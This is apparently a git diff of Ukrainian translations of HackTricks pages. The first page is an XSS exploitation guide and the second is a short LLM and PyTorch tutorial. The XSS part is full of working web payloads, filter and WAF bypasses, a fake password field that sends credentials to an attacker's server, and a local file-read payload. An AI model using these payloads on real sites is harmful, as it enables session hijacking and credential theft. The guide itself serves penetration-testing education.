4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Всередині **HTML тегу**:
|
||||
1. Чи можете ви вийти в сирий HTML контекст?
|
||||
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
|
||||
|
@ -62,7 +62,7 @@
|
|||
|
||||
1. **Втекти з атрибута і з тегу** (тоді ви будете в сирому HTML) і створити новий HTML тег для зловживання: `"><img [...]`
|
||||
2. Якщо ви **можете втекти з атрибута, але не з тегу** (`>` закодовано або видалено), в залежності від тегу ви могли б **створити подію**, яка виконує JS код: `" autofocus onfocus=alert(1) x="`
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
3. Якщо ви **не можете втекти з атрибута** (`"` закодовано або видалено), тоді в залежності від **якого атрибута** ваше значення відображається, **якщо ви контролюєте все значення або лише частину**, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть. Інший цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:`, щоб виконати довільний код: **`href="javascript:alert(1)"`**
|
||||
4. Якщо ваше введення відображається всередині "**незловживаних тегів**", ви могли б спробувати трюк з **`accesskey`**, щоб зловживати вразливістю (вам знадобиться якийсь вид соціальної інженерії для експлуатації цього): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
|
||||
|
@ -75,7 +75,7 @@
|
|||
|
||||
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
|
||||
|
||||
* Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку парсить HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
|
||||
* Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку парсить HTML-теги** і лише потім вміст, отже, він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML-коду.
|
||||
* Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -98,9 +98,9 @@ Javascript Hoisting посилається на можливість **огол
|
|||
|
||||
### Javascript Function
|
||||
|
||||
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на кшталт: `?callback=callbackFunc`.
|
||||
Кілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на зразок: `?callback=callbackFunc`.
|
||||
|
||||
Добрий спосіб дізнатися, чи щось, надане безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
Хороший спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
|
@ -156,7 +156,7 @@ parentElement
|
|||
## Впровадження всередині сирого HTML
|
||||
|
||||
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML-код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML-кодований** або **видалений**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
|
||||
Для цих випадків також **пам'ятайте про** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
Для цих випадків також **майте на увазі** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Примітка: HTML-коментар може бути закритий за допомогою\*\*\*\***** ****`-->`**** ****або \*\*\*\*****`--!>`**_
|
||||
|
||||
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати пейлоади, такі як:
|
||||
|
@ -170,7 +170,7 @@ _**Примітка: HTML-коментар може бути закритий з
|
|||
|
||||
### Вибір тегів/подій
|
||||
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви дізнаєтеся, які теги ви можете використовувати, ви можете **вибрати всі події** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **вибрати всі події** за допомогою дійсних тегів (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
|
||||
|
||||
### Користувацькі теги
|
||||
|
||||
|
@ -180,7 +180,7 @@ _**Примітка: HTML-коментар може бути закритий з
|
|||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою кількох дурних трюків:
|
||||
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою деяких простих трюків:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -243,7 +243,7 @@ onerror=alert`1`
|
|||
```
|
||||
Останній використовує 2 символи юнікоду, які розширюються до 5: telsr\
|
||||
Більше таких символів можна знайти [тут](https://www.unicode.org/charts/normalization/).\
|
||||
Щоб перевірити, в які символи розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
|
||||
Щоб перевірити, в які символи вони розкладаються, перевірте [тут](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
|
@ -251,14 +251,14 @@ onerror=alert`1`
|
|||
|
||||
### Неможливо - Dangling Markup
|
||||
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
|
||||
|
||||
## Впровадження всередині HTML-тегу
|
||||
|
||||
### Всередині тегу/вихід з значення атрибута
|
||||
|
||||
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](./#injecting-inside-raw-html), щоб виконати JS-код.\
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі payload, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі пейлоади, як (_зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ onerror=alert`1`
|
|||
```
|
||||
### Всередині атрибута
|
||||
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, в якому атрибуті** ваше значення відображається **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код, коли на неї натиснуть.\
|
||||
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), залежно від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні.\
|
||||
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Обхід всередині події за допомогою HTML кодування/URL кодування**
|
||||
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Повернутися назад </a>`
|
||||
**HTML закодовані символи** всередині значення атрибутів HTML тегів **декодуються під час виконання**. Тому щось на зразок наступного буде дійсним (payload виділено жирним): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Назад </a>`
|
||||
|
||||
Зверніть увагу, що **будь-яке HTML кодування є дійсним**:
|
||||
```javascript
|
||||
|
@ -311,7 +311,7 @@ onerror=alert`1`
|
|||
```
|
||||
### Спеціальні протоколи в атрибуті
|
||||
|
||||
Тут ви можете використовувати протоколи **`javascript:`** або **`data:`** в деяких місцях для **виконання довільного JS коду**. Деякі з них вимагатимуть взаємодії з користувачем, а деякі - ні.
|
||||
Там ви можете використовувати протоколи **`javascript:`** або **`data:`** в деяких місцях для **виконання довільного JS коду**. Деякі з них вимагатимуть взаємодії з користувачем, а деякі - ні.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -385,13 +385,13 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, що містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### про обхід обробників подій
|
||||
### обхід обробників подій
|
||||
|
||||
По-перше, перевірте цю сторінку ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) для корисних **"on" обробників подій**.\
|
||||
У разі, якщо існує якийсь чорний список, що заважає вам створювати ці обробники подій, ви можете спробувати наступні обходи:
|
||||
|
@ -452,9 +452,9 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **модифікувати простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
|
||||
|
||||
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Наприклад, ви могли б додати деяке стилізування в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізаційні Гаджети, тому, якщо ви знайдете, наприклад
|
||||
Але, якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS Стилізовані Гаджети, тому, якщо ви знайдете, наприклад
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -482,7 +482,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### Всередині коду JS
|
||||
|
||||
Якщо `<>` очищуються, ви все ще можете **втекти рядок**, де ваше введення **знаходиться** і **виконати довільний JS**. Важливо **виправити синтаксис JS**, тому що якщо є будь-які помилки, код JS не буде виконано:
|
||||
Якщо `<>` очищуються, ви все ще можете **втекти рядок**, де ваше введення **знаходиться** і **виконати довільний JS**. Важливо **виправити синтаксис JS**, тому що якщо є якісь помилки, код JS не буде виконано:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -504,7 +504,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
function loop(){return loop}
|
||||
loop``````````````
|
||||
```````````````
|
||||
### Закодоване виконання коду
|
||||
### Кодування виконання коду
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
|
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **DOM вразливості**
|
||||
|
||||
Є **JS код**, який використовує **небезпечні дані, контрольовані зловмисником**, такі як `location.href`. Зловмисник може зловживати цим для виконання довільного JS коду.\
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
|
@ -749,7 +749,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### Cookie XSS
|
||||
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в увесь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -763,9 +763,9 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### Віддзеркалення сесії
|
||||
|
||||
Якщо ви знайдете деяке self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
Якщо ви знайдете деякі self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
|
||||
|
||||
Ви могли б змусити **адміністратора активувати ваше self XSS** і вкрасти його cookies/сесію.
|
||||
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
|
||||
|
||||
## Інші обходи
|
||||
|
||||
|
@ -833,9 +833,9 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
### Дійсні `<script>` Content-Types для XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви намагаєтеся завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
|
||||
> Відмовлено у виконанні скрипту з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
> Відмовлено у виконанні скрипта з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
|
||||
Єдині **Content-Type**s, які дозволять Chrome виконати **завантажений скрипт**, - це ті, що містяться в константі **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
|
@ -868,7 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
Відповідь:
|
||||
|
||||
* **module** (за замовчуванням, нічого не потрібно пояснювати)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles — це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles - це функція, яка дозволяє упакувати купу даних (HTML, CSS, JS…) разом у файл **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -944,7 +944,7 @@ import { partition } from "lodash";
|
|||
|
||||
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **втечі JSON рядка** всередині скрипта та виконання довільного коду.
|
||||
|
||||
### Chrome Cache до XSS
|
||||
### Кеш Chrome до XSS
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
|
@ -998,7 +998,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
// our actual module code
|
||||
});
|
||||
```
|
||||
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з тієї функції для доступу до **`require`**:
|
||||
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з цієї функції для доступу до **`require`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -1200,7 +1200,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
```
|
||||
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
|
||||
|
||||
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Поле для запиту облікових даних
|
||||
```markup
|
||||
|
@ -1217,7 +1217,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер зловмисника, навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
|
||||
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер атакуючого, навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
|
||||
|
||||
### Keylogger
|
||||
|
||||
|
@ -1364,13 +1364,13 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[pdf-injection.md](pdf-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS у Amp4Email
|
||||
### XSS в Amp4Email
|
||||
|
||||
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує ряд компонентів для різних функцій, доступних через [AMP компоненти](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Формат [**AMP для електронної пошти**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні AMP компоненти для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
|
||||
|
||||
Приклад [**опису XSS у Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Приклад [**опису XSS в Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS завантаження файлів (svg)
|
||||
|
||||
|
@ -1446,7 +1446,7 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -1461,7 +1461,7 @@ id="foo"/>
|
|||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Попереднє навчання
|
||||
|
||||
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти донавчання, де вона додатково тренується на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
|
||||
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти доопрацювання, де вона додатково навчається на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
|
||||
|
||||
## Основні компоненти LLM
|
||||
|
||||
|
@ -48,7 +48,7 @@ GPT_CONFIG_124M = {
|
|||
Хоча тензори PyTorch подібні до масивів NumPy у своїй здатності зберігати та маніпулювати числовими даними, вони пропонують додаткові функціональні можливості, які є критично важливими для глибокого навчання:
|
||||
|
||||
* **Автоматичне диференціювання**: Тензори PyTorch підтримують автоматичний розрахунок градієнтів (autograd), що спрощує процес обчислення похідних, необхідних для навчання нейронних мереж.
|
||||
* **Прискорення на GPU**: Тензори в PyTorch можуть бути переміщені та обчислені на GPU, що значно прискорює великомасштабні обчислення.
|
||||
* **Прискорення на GPU**: Тензори в PyTorch можуть бути переміщені на GPU та обчислені на них, що значно прискорює великомасштабні обчислення.
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
|
||||
|
@ -70,9 +70,9 @@ tensor2d = torch.tensor([[1, 2],
|
|||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Tensor Data Types
|
||||
### Типи даних тензорів
|
||||
|
||||
PyTorch тензори можуть зберігати дані різних типів, таких як цілі числа та числа з плаваючою комою. 
|
||||
Тензори PyTorch можуть зберігати дані різних типів, таких як цілі числа та числа з плаваючою комою. 
|
||||
|
||||
Ви можете перевірити тип даних тензора, використовуючи атрибут `.dtype`:
|
||||
```python
|
||||
|
@ -130,9 +130,9 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
В основі автоматичного диференціювання лежить **правило ланцюга** з математичного аналізу. Правило ланцюга стверджує, що якщо у вас є композиція функцій, то похідна складної функції є добутком похідних складових функцій.
|
||||
|
||||
Математично, якщо `y=f(u)` і `u=g(x)`, то похідна `y` по відношенню до `x` є:
|
||||
Математично, якщо `y=f(u)` і `u=g(x)`, тоді похідна `y` по відношенню до `x` є:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Обчислювальний граф**
|
||||
|
||||
|
@ -142,7 +142,7 @@ result = tensor2d @ tensor2d.T
|
|||
|
||||
Розглянемо просту функцію:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Де:
|
||||
|
||||
|
@ -192,33 +192,33 @@ print("Gradient w.r.t b:", b.grad)
|
|||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Зворотне поширення в більших нейронних мережах
|
||||
## Backpropagation in Bigger Neural Networks
|
||||
|
||||
### **1. Розширення до багатошарових мереж**
|
||||
### **1.Extending to Multilayer Networks**
|
||||
|
||||
У більших нейронних мережах з кількома шарами процес обчислення градієнтів стає більш складним через збільшену кількість параметрів і операцій. Однак основні принципи залишаються незмінними:
|
||||
|
||||
* **Прямий прохід:** Обчисліть вихід мережі, пропускаючи вхідні дані через кожен шар.
|
||||
* **Обчислити втрати:** Оцініть функцію втрат, використовуючи вихід мережі та цільові мітки.
|
||||
* **Зворотний прохід (зворотне поширення):** Обчисліть градієнти втрат щодо кожного параметра в мережі, застосовуючи правило ланцюга рекурсивно від вихідного шару до вхідного шару.
|
||||
* **Forward Pass:** Обчисліть вихід мережі, пропускаючи вхідні дані через кожен шар.
|
||||
* **Compute Loss:** Оцініть функцію втрат, використовуючи вихід мережі та цільові мітки.
|
||||
* **Backward Pass (Backpropagation):** Обчисліть градієнти втрат щодо кожного параметра в мережі, застосовуючи правило ланцюга рекурсивно від вихідного шару до вхідного шару.
|
||||
|
||||
### **2. Алгоритм зворотного поширення**
|
||||
### **2. Backpropagation Algorithm**
|
||||
|
||||
* **Крок 1:** Ініціалізуйте параметри мережі (ваги та зміщення).
|
||||
* **Крок 2:** Для кожного навчального прикладу виконайте прямий прохід для обчислення виходів.
|
||||
* **Крок 3:** Обчисліть втрати.
|
||||
* **Крок 4:** Обчисліть градієнти втрат щодо кожного параметра, використовуючи правило ланцюга.
|
||||
* **Крок 5:** Оновіть параметри, використовуючи алгоритм оптимізації (наприклад, градієнтний спуск).
|
||||
* **Step 1:** Ініціалізуйте параметри мережі (ваги та зміщення).
|
||||
